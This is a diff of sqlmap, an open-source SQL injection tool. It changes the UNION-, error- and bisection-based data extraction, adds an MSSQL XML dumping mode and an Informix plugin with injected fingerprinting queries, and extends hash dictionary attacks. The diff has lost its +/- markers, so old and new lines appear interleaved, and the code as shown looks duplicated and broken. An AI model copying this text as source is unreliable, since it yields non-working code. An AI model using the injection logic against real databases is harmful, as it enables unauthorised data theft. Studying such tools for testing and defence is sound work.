@@ -476,6 +523,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# No multi-threading (--threads = 1)
else:
index = firstChar
threadData.shared.value = ""
while True:
index += 1
@@ -551,7 +599,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if kb.data.processChar:
val = kb.data.processChar(val)
partialValue += val
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(time.time() - charStart, index)
+20 -3
View File
@@ -16,6 +16,7 @@ from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToStdout
from lib.core.common import decodeHexValue
from lib.core.common import extractRegexResult
from lib.core.common import getConsoleWidth
from lib.core.common import getPartRun
from lib.core.common import getUnicode
from lib.core.common import hashDBRetrieve
@@ -43,6 +44,7 @@ from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
from lib.core.settings import NULL
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import ROTATING_CHARS
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
@@ -54,6 +56,7 @@ from lib.utils.progress import ProgressBar
def _oneShotErrorUse(expression, field=None, chunkTest=False):
offset = 1
rotator = 0
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
@@ -173,8 +176,16 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
else:
break
if kb.fileReadMode and output:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
if output:
if kb.fileReadMode:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
elif offset > 1:
rotator += 1
if rotator >= len(ROTATING_CHARS):
rotator = 0
dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
else:
retVal = output
break
@@ -203,6 +214,7 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
values = []
origExpr = None
width = getConsoleWidth()
threadData = getCurrentThreadData()
for field in expressionFieldsList:
@@ -229,7 +241,12 @@ def _errorFields(expression, expressionFields, expressionFieldsList, num=None, e
if kb.fileReadMode and output and output.strip():
print
elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(output)))
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
if isinstance(num, int):
expression = origExpr
+2 -2
View File
@@ -53,10 +53,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
if _orderByTest(1) and not _orderByTest(randomInt()):
infoMsg = "ORDER BY technique seems to be usable. "
infoMsg = "'ORDER BY' technique appears to be usable. "
infoMsg += "This should reduce the time needed "
infoMsg += "to find the right number "
infoMsg += "of query columns. Automatically extending the "
+77 -26
View File
@@ -5,8 +5,10 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import binascii
import re
import time
import xml.etree.ElementTree
from extra.safe2bin.safe2bin import safecharencode
from lib.core.agent import agent
@@ -46,8 +48,10 @@ from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapSyntaxException
from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
from lib.core.settings import NULL
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
from lib.core.settings import UNICODE_ENCODING
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
@@ -62,15 +66,18 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
threadData.resumed = retVal is not None
if retVal is None:
# Prepare expression with delimiters
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
# Forge the UNION SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
if not kb.rowXmlMode:
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
@@ -78,22 +85,57 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
if output:
try:
root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output.encode(UNICODE_ENCODING))
retVal = ""
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, "").strip()
if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
base64 = False
break
try:
value.decode("base64")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
@@ -103,7 +145,8 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
else:
elif not kb.rowXmlMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
@@ -174,6 +217,13 @@ def unionUse(expression, unpack=True, dump=False):
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
kb.rowXmlMode = True
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
output = _oneShotUnionUse(_, False)
value = parseUnionPage(output)
kb.rowXmlMode = False
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
@@ -186,7 +236,7 @@ def unionUse(expression, unpack=True, dump=False):
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
kb.forcePartialUnion or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
@@ -328,12 +378,13 @@ def unionUse(expression, unpack=True, dump=False):
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items))
_ = ",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status, True)
dataToStdout("%s\n" % status)
runThreads(numThreads, unionThread)
+13 -11
View File
@@ -31,6 +31,7 @@ from lib.core.data import logger
from lib.core.datatype import AttribDict
from lib.core.defaults import _defaults
from lib.core.enums import CONTENT_STATUS
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.enums import PART_RUN_CONTENT_TYPES
from lib.core.exception import SqlmapConnectionException
from lib.core.log import LOGGER_HANDLER
@@ -223,7 +224,7 @@ class StdDbOut(object):
# Ignore all non-relevant messages
return
output = conf.database_cursor.execute(
output = conf.databaseCursor.execute(
"SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?",
(self.taskid, content_type))
@@ -231,25 +232,25 @@ class StdDbOut(object):
if status == CONTENT_STATUS.COMPLETE:
if len(output) > 0:
for index in xrange(len(output)):
conf.database_cursor.execute("DELETE FROM data WHERE id = ?",
conf.databaseCursor.execute("DELETE FROM data WHERE id = ?",
(output[index][0],))
conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
(self.taskid, status, content_type, jsonize(value)))
if kb.partRun:
kb.partRun = None
elif status == CONTENT_STATUS.IN_PROGRESS:
if len(output) == 0:
conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
(self.taskid, status, content_type,
jsonize(value)))
else:
new_value = "%s%s" % (dejsonize(output[0][2]), value)
conf.database_cursor.execute("UPDATE data SET value = ? WHERE id = ?",
conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?",
(jsonize(new_value), output[0][0]))
else:
conf.database_cursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)",
conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)",
(self.taskid, str(value) if value else ""))
def flush(self):
@@ -268,7 +269,7 @@ class LogRecorder(logging.StreamHandler):
Record emitted events to IPC database for asynchronous I/O
communication with the parent process
"""
conf.database_cursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)",
conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)",
(conf.taskid, time.strftime("%X"), record.levelname,
record.msg % record.args if record.args else record.msg))
@@ -276,8 +277,8 @@ class LogRecorder(logging.StreamHandler):
def setRestAPILog():
if hasattr(conf, "api"):
try:
conf.database_cursor = Database(conf.database)
conf.database_cursor.connect("client")
conf.databaseCursor = Database(conf.database)
conf.databaseCursor.connect("client")
except sqlite3.OperationalError, ex:
raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database)
@@ -643,7 +644,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
REST-JSON API server
"""
DataStore.admin_id = hexencode(os.urandom(16))
Database.filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1]
Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False)[1]
logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
logger.info("Admin ID: %s" % DataStore.admin_id)
@@ -721,7 +722,8 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT):
while True:
try:
command = raw_input("api%s> " % (" (%s)" % taskid if taskid else "")).strip().lower()
command = raw_input("api%s> " % (" (%s)" % taskid if taskid else "")).strip()
command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command)
except (EOFError, KeyboardInterrupt):
print
break
+2 -1
View File
@@ -22,6 +22,7 @@ from lib.core.common import safeCSValue
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapSyntaxException
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
@@ -198,7 +199,7 @@ def storeResultsToFile(results):
kb.storeCrawlingChoice = test[0] in ("y", "Y")
if kb.storeCrawlingChoice:
handle, filename = tempfile.mkstemp(prefix="sqlmapcrawling-", suffix=".csv" if conf.forms else ".txt")
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt")
os.close(handle)
infoMsg = "writing crawling results to a temporary file '%s' " % filename
+2
View File
@@ -44,6 +44,8 @@ def checkDependencies():
elif dbmsName == DBMS.HSQLDB:
import jaydebeapi
import jpype
elif dbmsName == DBMS.INFORMIX:
import ibm_db_dbi
except ImportError:
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
warnMsg += "in order to directly connect to the DBMS "
+14 -3
View File
@@ -30,6 +30,7 @@ import os
import re
import tempfile
import time
import zipfile
from hashlib import md5
from hashlib import sha1
@@ -61,6 +62,8 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import HASH
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import COMMON_PASSWORD_SUFFIXES
from lib.core.settings import COMMON_USER_COLUMNS
@@ -385,7 +388,7 @@ def storeHashesToFile(attack_dict):
if not kb.storeHashesChoice:
return
handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt")
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt")
os.close(handle)
infoMsg = "writing hashes to a temporary file '%s' " % filename
@@ -491,7 +494,7 @@ def attackDumpedTable():
for (_, hash_, password) in results:
if hash_:
lut[hash_.lower()] = getUnicode(password)
lut[hash_.lower()] = password
infoMsg = "postprocessing table dump"
logger.info(infoMsg)
@@ -502,7 +505,7 @@ def attackDumpedTable():
value = table[column]['values'][i]
if value and value.lower() in lut:
table[column]['values'][i] += " (%s)" % lut[value.lower()]
table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()]))
table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
def hashRecognition(value):
@@ -786,6 +789,14 @@ def dictionaryAttack(attack_dict):
for dictPath in dictPaths:
checkFile(dictPath)
if os.path.splitext(dictPath)[1].lower() == ".zip":
_ = zipfile.ZipFile(dictPath, 'r')
if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % dictPath
raise SqlmapDataException(errMsg)
else:
_.open(_.namelist()[0])
kb.wordlists = dictPaths
except Exception, ex:
+13 -5
View File
@@ -11,14 +11,17 @@ from extra.safe2bin.safe2bin import safechardecode
from lib.core.agent import agent
from lib.core.bigarray import BigArray
from lib.core.common import Backend
from lib.core.common import getUnicode
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dicts import DUMP_REPLACEMENTS
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
from lib.core.exception import SqlmapConnectionException
@@ -134,10 +137,13 @@ def pivotDumpTable(table, colList, count=None, blind=True):
value = _(column, pivotValue)
if column == colList[0]:
if isNoneValue(value):
for pivotValue in filter(None, (" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))):
value = _(column, pivotValue)
if not isNoneValue(value):
break
try:
for pivotValue in filter(None, (" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))):
value = _(column, pivotValue)
if not isNoneValue(value):
break
except ValueError:
pass
if isNoneValue(value):
breakRetrieval = True
@@ -156,10 +162,12 @@ def pivotDumpTable(table, colList, count=None, blind=True):
value = "" if isNoneValue(value) else unArrayizeValue(value)
lengths[column] = max(lengths[column], len(value) if value else 0)
lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
+6
View File
@@ -85,3 +85,9 @@ class xrange(object):
def _index(self, i):
return self.start + self.step * i
def index(self, i):
if self.start <= i < self.stop:
return i - self.start
else:
raise ValueError("%d is not in list" % i)
-6
View File
@@ -106,12 +106,6 @@ class Fingerprint(GenericFingerprint):
if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \
or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \
Backend.getVersion() != UNKNOWN_DBMS_VERSION:
v = Backend.getVersion().replace(">", "")
v = v.replace("=", "")
v = v.replace(" ", "")
Backend.setVersion(v)
setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion()))
self.getBanner()
-6
View File
@@ -83,12 +83,6 @@ class Fingerprint(GenericFingerprint):
if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \
or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \
Backend.getVersion() != UNKNOWN_DBMS_VERSION:
v = Backend.getVersion().replace(">", "")
v = v.replace("=", "")
v = v.replace(" ", "")
Backend.setVersion(v)
setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion()))
if Backend.isVersionGreaterOrEqualThan("1.7.2"):
+34
View File
@@ -0,0 +1,34 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import DBMS
from lib.core.settings import INFORMIX_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.informix.enumeration import Enumeration
from plugins.dbms.informix.filesystem import Filesystem
from plugins.dbms.informix.fingerprint import Fingerprint
from plugins.dbms.informix.syntax import Syntax
from plugins.dbms.informix.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class InformixMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Informix methods
"""
def __init__(self):
self.excludeDbsList = INFORMIX_SYSTEM_DBS
Syntax.__init__(self)
Fingerprint.__init__(self)
Enumeration.__init__(self)
Filesystem.__init__(self)
Miscellaneous.__init__(self)
Takeover.__init__(self)
unescaper[DBMS.INFORMIX] = Syntax.escape
+63
View File
@@ -0,0 +1,63 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
try:
import ibm_db_dbi
except ImportError:
pass
import logging
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
"""
Homepage: http://code.google.com/p/ibm-db/
User guide: http://code.google.com/p/ibm-db/wiki/README
API: http://www.python.org/dev/peps/pep-0249/
License: Apache License 2.0
"""
def __init__(self):
GenericConnector.__init__(self)
def connect(self):
self.initConnection()
try:
database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port)
self.connector = ibm_db_dbi.connect(database, self.user, self.password)
except ibm_db_dbi.OperationalError, msg:
raise SqlmapConnectionException(msg)
self.initCursor()
self.printConnected()
def fetchall(self):
try:
return self.cursor.fetchall()
except ibm_db_dbi.ProgrammingError, msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
return None
def execute(self, query):
try:
self.cursor.execute(query)
except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
except ibm_db_dbi.InternalError, msg:
raise SqlmapConnectionException(msg[1])
self.connector.commit()
def select(self, query):
self.execute(query)
return self.fetchall()
+12
View File
@@ -0,0 +1,12 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def __init__(self):
GenericEnumeration.__init__(self)
+12
View File
@@ -0,0 +1,12 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def __init__(self):
GenericFilesystem.__init__(self)
+105
View File
@@ -0,0 +1,105 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import INFORMIX_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self, DBMS.INFORMIX)
def getFingerprint(self):
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += DBMS.INFORMIX
return value
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if not conf.extensiveFp and (Backend.isDbmsWithin(INFORMIX_ALIASES) or (conf.dbms or "").lower() in INFORMIX_ALIASES):
setDbms(DBMS.INFORMIX)
self.getBanner()
return True
infoMsg = "testing %s" % DBMS.INFORMIX
logger.info(infoMsg)
result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSMASTER:SYSDUAL)")
if result:
infoMsg = "confirming %s" % DBMS.INFORMIX
logger.info(infoMsg)
result = inject.checkBooleanExpression("(SELECT DBINFO('DBNAME') FROM SYSMASTER:SYSDUAL) IS NOT NULL")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX
logger.warn(warnMsg)
return False
setDbms(DBMS.INFORMIX)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX
logger.info(infoMsg)
for version in ("12.1", "11.7", "11.5"):
output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version)
if output:
Backend.setVersion(version)
break
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX
logger.warn(warnMsg)
return False
+24
View File
@@ -0,0 +1,24 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
def __init__(self):
GenericSyntax.__init__(self)
@staticmethod
def escape(expression, quote=True):
"""
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar")
'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar'
"""
def escaper(value):
return "||".join("CHR(%d)" % ord(_) for _ in value)
return Syntax._escape(expression, quote, escaper)
+15
View File
@@ -0,0 +1,15 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def __init__(self):
self.__basedir = None
self.__datadir = None
GenericTakeover.__init__(self)
+2 -2
View File
@@ -41,7 +41,7 @@ class Connector(GenericConnector):
try:
self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
raise SqlmapConnectionException(msg)
self.initCursor()
@@ -50,7 +50,7 @@ class Connector(GenericConnector):
def fetchall(self):
try:
return self.cursor.fetchall()
except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg:
except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " "))
return None
+3 -1
View File
@@ -93,7 +93,9 @@ class Fingerprint(GenericFingerprint):
for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \
("2005", "XACT_STATE()=XACT_STATE()"), \
("2008", "SYSDATETIME()=SYSDATETIME()"), \
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)")):
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), \
("2014", "CHARINDEX('12.0.2000',@@version)>0"), \
("2016", "ISJSON(NULL) IS NULL")):
result = inject.checkBooleanExpression(check)
if result:
+15 -10
View File
@@ -10,10 +10,13 @@ import re
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.common import getUnicode
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import OS
from lib.core.session import setDbms
from lib.core.settings import MYSQL_ALIASES
@@ -37,17 +40,18 @@ class Fingerprint(GenericFingerprint):
return None
# MySQL valid versions updated on 04/2011
# Reference: https://downloads.mysql.com/archives/community/
versions = (
(32200, 32235), # MySQL 3.22
(32300, 32359), # MySQL 3.23
(40000, 40032), # MySQL 4.0
(40100, 40131), # MySQL 4.1
(50000, 50092), # MySQL 5.0
(50100, 50156), # MySQL 5.1
(50100, 50172), # MySQL 5.1
(50400, 50404), # MySQL 5.4
(50500, 50521), # MySQL 5.5
(50600, 50604), # MySQL 5.6
(50500, 50552), # MySQL 5.5
(50600, 50633), # MySQL 5.6
(50700, 50715), # MySQL 5.7
(60000, 60014), # MySQL 6.0
)
@@ -103,6 +107,10 @@ class Fingerprint(GenericFingerprint):
value += "back-end DBMS: "
actVer = Format.getDbms()
_ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
if _:
actVer += " (%s fork)" % _
if not conf.extensiveFp:
value += actVer
return value
@@ -145,12 +153,6 @@ class Fingerprint(GenericFingerprint):
if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \
Backend.getVersion() != UNKNOWN_DBMS_VERSION:
v = Backend.getVersion().replace(">", "")
v = v.replace("=", "")
v = v.replace(" ", "")
Backend.setVersion(v)
setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion()))
if Backend.isVersionGreaterOrEqualThan("5"):
@@ -177,6 +179,9 @@ class Fingerprint(GenericFingerprint):
return False
